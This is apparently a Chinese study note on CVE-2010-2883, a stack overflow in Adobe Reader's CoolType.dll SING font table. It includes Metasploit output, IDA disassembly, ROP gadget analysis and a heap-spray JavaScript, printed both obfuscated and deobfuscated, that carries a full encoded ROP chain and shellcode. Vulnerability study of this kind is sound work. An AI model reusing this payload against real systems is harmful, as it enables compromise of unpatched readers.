查看原文
其他

CVE-2010-2883学习笔记

QuietBar 看雪学院 2019-05-26


CVE-2010-2883是PDF阅读器Adobe Reader的一个栈溢出漏洞。以下是我的学习笔记。

 

该漏洞学习主要是参照泉哥的《漏洞战争》的相关内容。



1、分析环境


  • 操作系统:XP SP3

  • 调试器:OllyDbg

  • 反汇编:IDA Pro 7.0

  • Adobe Reader : 9.3.4



2.基本信息


2.1 使用Metasploit生成样本


msf exploit(windows/fileformat/adobe_cooltype_sing) > show options
Module options (exploit/windows/fileformat/adobe_cooltype_sing):
 Name      Current Setting  Required  Description
 ----      ---------------  --------  -----------
 FILENAME  msf.pdf          yes       The file name.
Payload options (windows/exec):
 Name      Current Setting  Required  Description
 ----      ---------------  --------  -----------
 CMD       calc.exe         yes       The command string to execute
 EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
 **DisablePayloadHandler: True   (RHOST and RPORT settings will be ignored!)**
Exploit target:
 Id  Name
 --  ----
 0   Automatic
msf exploit(windows/fileformat/adobe_cooltype_sing) > run
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf
msf exploit(windows/fileformat/adobe_cooltype_sing) >


2.2 漏洞基本信息


漏洞存在于Adobe Reader 8.2.4到9.3.4之间的版本,在CoolType.dll库中处理字体文件SING( Smart INdependent Glyplets)表中uniqueName项时存在栈溢出漏洞。


2.2.1 用IDA 打开CoolType.dll,定位到出现漏洞的位置


.text:0803DD74                 push    offset aSing    ; "SING"
.text:0803DD79                 push    edi             ; int
.text:0803DD7A                 lea     ecx, [ebp+108h+var_12C]
.text:0803DD7D                 call    sub_8021B06
.text:0803DD82                 mov     eax, [ebp+108h+var_12C]
.text:0803DD85                 cmp     eax, esi
.text:0803DD87                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B                 jz      short loc_803DDC4
.text:0803DD8D                 mov     ecx, [eax]
.text:0803DD8F                 and     ecx, 0FFFFh
.text:0803DD95                 jz      short loc_803DD9F
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F                 add     eax, 10h
.text:0803DDA2                 push    eax             ; char *
.text:0803DDA3                 lea     eax, [ebp+108h+var_108]
.text:0803DDA6                 push    eax             ; char *
.text:0803DDA7                 mov     [ebp+108h+var_108], 0
.text:0803DDAB                 call    strcat


strcat进行字符串拼接时没有进行长度判断,产生栈溢出。


2.2.2 PDF文件分析


使用PdfStreamDumper打开样本文件,在第10个Stream中找到SING字段,将这个Stream另存为TTF文件。

 

 

使用010edit打开另存的TTF文件,加载TTF文件模板,TTF的TableEntry结构如下:




在offset 11ch位置找到具体内容:



其中0x10偏移开始为uniqueName字段,大小为28字节且以\x00结尾。但是在CoolType.dll中,使用strcat操作此处时并没有判断长度,所以构造超长的uniqueName可导致栈溢出。


3.漏洞利用


  • 使用OllyDbg调试

  • 在strcat处下断点

    .text:0803DDAB                 call    strcat

  • 常见栈溢出漏洞,溢出后会覆盖当前函数的返回地址。我在该开始调试该漏洞时也是直接在当前函数ret处下断点,但是发现还没执行到ret时,已经跳入shellcode了。

  • 不知道什么原因,只能单步调试,多次调试后发现,如下图所示


其中,[eax]的值来自ds:[edi:0x3c] ==> 0x12e754 ==> 0x12e6d0 ==>0x4a80cb38(位于icucnv36.dll)

 

 

分析可知,该漏洞利用没有使用覆盖返回地址的方法,而是覆盖了一个虚函数表指针,从而控制程序执行流程


  • ROP分析,从上一步开始,开始利用ROP技术绕过DEP防护

4A80CB38    81C5 94070000   add ebp,0x794
4A80CB3E    C9              leave
4A80CB3F    C3              retn


4A82A714    5C              pop esp                                  ; 0C0C0C0C
4A82A715    C3              retn


通过两次跳转,将栈空间切换到0x0c0c0c0c


  • HeapSpray,0x0c0c0c0c地址由PDF中的js脚本进行堆喷射,提前布置好了rop和shellcode(使用PdfStreamDumper提取)


堆喷射代码

var enAYNGNRDyvEOwyQxJBVSzEtKEFrhZtYSeVvRqRWeAQh = unescape;
var GMqjnnCwUjyvzGPbsJAmJKsaOruFxdBSlsxbqqObeuVLcoOfjRLrsTbjWPRZttWLQSvDediisxzeEUXtNhpEkoBpyvdhPgeA = enAYNGNRDyvEOwyQxJBVSzEtKEFrhZtYSeVvRqRWeAQh( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc4d9%uc8ba%u54dc%ud905%u2474%u5ef4%uc92b%u31b1%u5631%u8318%ufcee%u5603%u3edc%uf9a1%u3c34%u024a%u21c4%ue7c2%u61f5%u6cb0%u51a5%u21b2%u1949%ud196%u6fda%ud53f%uc56b%ud819%u766c%u7b59%u85ee%u5b8e%u45cf%u9ac3%ubb08%uce2e%ub7c1%uff9d%u8d66%u8b1d%u0334%u6826%u228c%u3f07%u7c87%uc187%uf544%ud98e%u3089%u5158%uce79%ub35b%u2fb0%ufaf7%uc27d%u3a09%u3db9%u327c%uc0ba%u8187%u1ec1%u120d%ud461%ufeb5%u3990%u7423%uf69e%ud227%u0982%u68eb%u82be%ubf0a%ud037%u1b28%u821c%u3a51%u65f8%u5c6d%udaa3%u16cb%u0e49%u7566%ud107%u03f4%ud165%u0c06%ubad9%u8737%ubdb6%u42c7%u32f3%ucf82%udb55%u9a4b%u86e4%u706b%ubf2a%u71ef%u44d2%uf3ef%u01d7%ue8b7%u1aa5%u0f52%u1a1a%u6c77%u88fd%u5d1b%u2898%ua1b9' );
var TxlBxGOdKPiAud = enAYNGNRDyvEOwyQxJBVSzEtKEFrhZtYSeVvRqRWeAQh( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (TxlBxGOdKPiAud.length + 20 + 8 < 65536) TxlBxGOdKPiAud+=TxlBxGOdKPiAud;
gwPdJCDQJlfpTzdd = TxlBxGOdKPiAud.substring(0, (0x0c0c-0x24)/2);
gwPdJCDQJlfpTzdd += GMqjnnCwUjyvzGPbsJAmJKsaOruFxdBSlsxbqqObeuVLcoOfjRLrsTbjWPRZttWLQSvDediisxzeEUXtNhpEkoBpyvdhPgeA;
gwPdJCDQJlfpTzdd += TxlBxGOdKPiAud;
HQyvXIIYtgUqwrysFuFWZiGUDJLMpBytzWMBHVpdUWxKQKJxdDxjjrYkHwxbDSMmoAeKZSwDSkoWcObZQgVN = gwPdJCDQJlfpTzdd.substring(0, 65536/2);
while(HQyvXIIYtgUqwrysFuFWZiGUDJLMpBytzWMBHVpdUWxKQKJxdDxjjrYkHwxbDSMmoAeKZSwDSkoWcObZQgVN.length < 0x80000) HQyvXIIYtgUqwrysFuFWZiGUDJLMpBytzWMBHVpdUWxKQKJxdDxjjrYkHwxbDSMmoAeKZSwDSkoWcObZQgVN += HQyvXIIYtgUqwrysFuFWZiGUDJLMpBytzWMBHVpdUWxKQKJxdDxjjrYkHwxbDSMmoAeKZSwDSkoWcObZQgVN;
MSSiAusyoiaVgGUWubXkmxUpnKGglTBexIFHLSeuKjmMkAEtwbxsPFcLMvhsYbwhC = HQyvXIIYtgUqwrysFuFWZiGUDJLMpBytzWMBHVpdUWxKQKJxdDxjjrYkHwxbDSMmoAeKZSwDSkoWcObZQgVN.substring(0, 0x80000 - (0x1020-0x08) / 2);
var ktTaACgwVjkYLaZPVooWQTTvnKgdCNvAYjCgoEHxyAZJSQYoxYmbLDrnxNLx = new Array();
for (RLhbmHnHRJTNAomlnnTawGdPyaqmRjYsOoOVellNNzCGUoVcSwmUBM=0;RLhbmHnHRJTNAomlnnTawGdPyaqmRjYsOoOVellNNzCGUoVcSwmUBM<0x1f0;RLhbmHnHRJTNAomlnnTawGdPyaqmRjYsOoOVellNNzCGUoVcSwmUBM++) ktTaACgwVjkYLaZPVooWQTTvnKgdCNvAYjCgoEHxyAZJSQYoxYmbLDrnxNLx[RLhbmHnHRJTNAomlnnTawGdPyaqmRjYsOoOVellNNzCGUoVcSwmUBM]=MSSiAusyoiaVgGUWubXkmxUpnKGglTBexIFHLSeuKjmMkAEtwbxsPFcLMvhsYbwhC+"s";


手动去掉混淆

var _unescape = unescape;
var shellcode_0 = _unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc4d9%uc8ba%u54dc%ud905%u2474%u5ef4%uc92b%u31b1%u5631%u8318%ufcee%u5603%u3edc%uf9a1%u3c34%u024a%u21c4%ue7c2%u61f5%u6cb0%u51a5%u21b2%u1949%ud196%u6fda%ud53f%uc56b%ud819%u766c%u7b59%u85ee%u5b8e%u45cf%u9ac3%ubb08%uce2e%ub7c1%uff9d%u8d66%u8b1d%u0334%u6826%u228c%u3f07%u7c87%uc187%uf544%ud98e%u3089%u5158%uce79%ub35b%u2fb0%ufaf7%uc27d%u3a09%u3db9%u327c%uc0ba%u8187%u1ec1%u120d%ud461%ufeb5%u3990%u7423%uf69e%ud227%u0982%u68eb%u82be%ubf0a%ud037%u1b28%u821c%u3a51%u65f8%u5c6d%udaa3%u16cb%u0e49%u7566%ud107%u03f4%ud165%u0c06%ubad9%u8737%ubdb6%u42c7%u32f3%ucf82%udb55%u9a4b%u86e4%u706b%ubf2a%u71ef%u44d2%uf3ef%u01d7%ue8b7%u1aa5%u0f52%u1a1a%u6c77%u88fd%u5d1b%u2898%ua1b9' );
var addr_0c0c0c0c = _unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );

while (addr_0c0c0c0c.length + 20 + 8 < 65536)
   addr_0c0c0c0c+=addr_0c0c0c0c;

shellcode_1 = addr_0c0c0c0c.substring(0, (0x0c0c-0x24)/2);
shellcode_1 += shellcode_0;
shellcode_1 += addr_0c0c0c0c;
shellcode_2 = shellcode_1.substring(0, 65536/2);

while(shellcode_2.length < 0x80000)
   shellcode_2 += shellcode_2;

shellcode_3 = shellcode_2.substring(0, 0x80000 - (0x1020-0x08) / 2);

var heap_spray_arry = new Array();
for (i=0;i<0x1f0;i++)
   heap_spray_arry[i]=shellcode_3+"s";


  • 继续ROP


此处ROP,依次调用CreateFileA、CreateFileMappingA、MapViewOfFile,在内存中开辟一块可读可写可执行的地址。

 

 

再调用memcpy,将shellcode拷贝到新的内存空间中去。

 

  • 跳转进入shellcode,执行payload。



4.小结


  • 这是一个典型的栈溢出漏洞

  • 漏洞利用没覆盖返回地址,而是覆盖了虚函数表。

    《漏洞战争》书中调试时,使用了内存访问断点,可以更加直接地断在溢出后利用的地方



5.参考资料


  • 《漏洞战争》,riusksk

  • CVE-2010-2883浅析-Adobe Reader栈溢出漏洞






看雪ID:QuietBar

bbs.pediy.com/user-637369



本文由看雪论坛 QuietBar  原创

转载请注明来自看雪社区






热门技术文章推荐:







戳原文,看看大家都是怎么说的?

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存